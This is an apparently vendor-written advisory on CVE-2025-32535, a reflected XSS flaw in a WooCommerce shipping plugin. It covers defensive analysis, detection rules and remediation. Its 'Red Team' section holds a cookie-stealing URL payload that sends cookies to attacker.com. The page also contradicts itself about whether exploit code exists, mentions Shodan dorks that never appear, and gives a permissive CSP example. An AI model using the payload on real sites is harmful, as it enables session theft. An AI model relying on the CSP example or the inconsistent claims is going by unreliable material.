CVE-2025-32535
Executive Summary
CVE-2025-32535 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin DN Shipping by Weight for WooCommerce, developed by Digireturn. The vulnerability exists in all versions up to and including 1.2. An attacker can inject arbitrary JavaScript into a web page via a crafted URL, which executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no public exploit or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users are advised to monitor the plugin's page for updates and consider disabling the plugin if no patch is available. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although no public exploit exists, the vulnerability is trivial to exploit once discovered, and the attack surface is large due to the popularity of WooCommerce.
Deep Dive & Mechanics
The vulnerability is a reflected XSS in the dn-shipping-by-weight WordPress plugin. The plugin fails to properly sanitize user-supplied input before including it in a web page response. An attacker can craft a URL containing malicious JavaScript in a parameter (likely a query string parameter) that the plugin echoes back without encoding. When a victim clicks the link, the script executes in their browser.
Root Cause: The plugin uses echo $_GET['some_parameter'] or similar without applying esc_html(), esc_js(), or wp_kses().
Attack Vector: Reflected XSS via a crafted URL. The attacker must trick the victim into clicking the malicious link (e.g., via phishing email, social media, or a compromised site).
Impact: The attacker can:
- Steal session cookies (if not HttpOnly)
- Redirect the user to a malicious site
- Perform actions on behalf of the user (e.g., change admin settings)
- Deface the page
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern.
Vulnerable Code (hypothetical):
<?php
// In some plugin file
$param = $_GET['weight'];
echo "<div>Selected weight: $param</div>";
?>
Patched Code (expected):
<?php
$param = isset($_GET['weight']) ? sanitize_text_field($_GET['weight']) : '';
echo "<div>Selected weight: " . esc_html($param) . "</div>";
?>
The patch would involve using WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post() depending on the context.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with DN Shipping by Weight for WooCommerce <= 1.2
- A victim user with a browser
Exploit Steps:
- Identify a vulnerable parameter (e.g.,
weight,zip,city). Use a web proxy or fuzzer to find reflected input. - Craft a malicious URL:
http://target.com/?weight=<script>alert('XSS')</script> - Send the link to the victim via phishing or social engineering.
- When the victim clicks, the script executes.
Advanced Payload (cookie theft):
http://target.com/?weight=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Note: No public exploit code is available. The above is a generic example.
Blue Team (Defensive)
Detection:
- Monitor web server logs for unusual query strings containing
<script>,onerror,javascript:, etc. - Use a WAF (e.g., ModSecurity) to block reflected XSS patterns.
- Deploy CSP headers to mitigate impact.
Hunting:
- Search for
dn-shipping-by-weightin WordPress admin and check for suspicious parameters. - Review plugin source code for unsanitized
$_GETor$_POSTusage.
Lab Setup:
- Install WordPress + WooCommerce + DN Shipping by Weight <= 1.2 in a sandbox.
- Use a browser with developer tools to test reflected input.
- Simulate attack with a crafted URL and observe the DOM.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests containing
dn-shipping-by-weightwith suspicious query parameters (e.g.,?weight=<script>) - Outbound connections to attacker-controlled domains from the victim's browser
- HTTP requests containing
- File:
- Modified plugin files (if attacker gains admin access)
- Logs:
- Web server logs showing
%3Cscript%3E(URL-encoded<script>) in the query string
- Web server logs showing
- Behavioral:
- Unexpected JavaScript execution on WooCommerce pages
- Unauthorized admin actions (e.g., new admin user creation)
Detection Engineering
YARA Rule
rule CVE_2025_32535_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting DN Shipping by Weight for WooCommerce"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-32535"
strings:
$s1 = "dn-shipping-by-weight" nocase
$s2 = "<script" nocase
$s3 = "onerror=" nocase
$s4 = "javascript:" nocase
condition:
$s1 and any of ($s2, $s3, $s4)
}
Sigma Rule
title: Reflected XSS Attempt Against DN Shipping by Weight
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the DN Shipping by Weight plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains:
- 'dn-shipping-by-weight'
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-32535 Reflected XSS in DN Shipping by Weight"; flow:to_server,established; content:"dn-shipping-by-weight"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
- Add Content Security Policy (CSP) headers to mitigate script execution:
(Note:Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';unsafe-inlinemay be needed for WordPress, but consider stricter policies.)
Long-term Fix:
- Monitor the plugin's WordPress repository for updates.
- Apply the patch as soon as it is released.
- Conduct a security audit of all WordPress plugins.
Workaround:
- If the plugin is critical, manually patch the vulnerable file by adding
esc_html()orsanitize_text_field()to all echoed user input.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.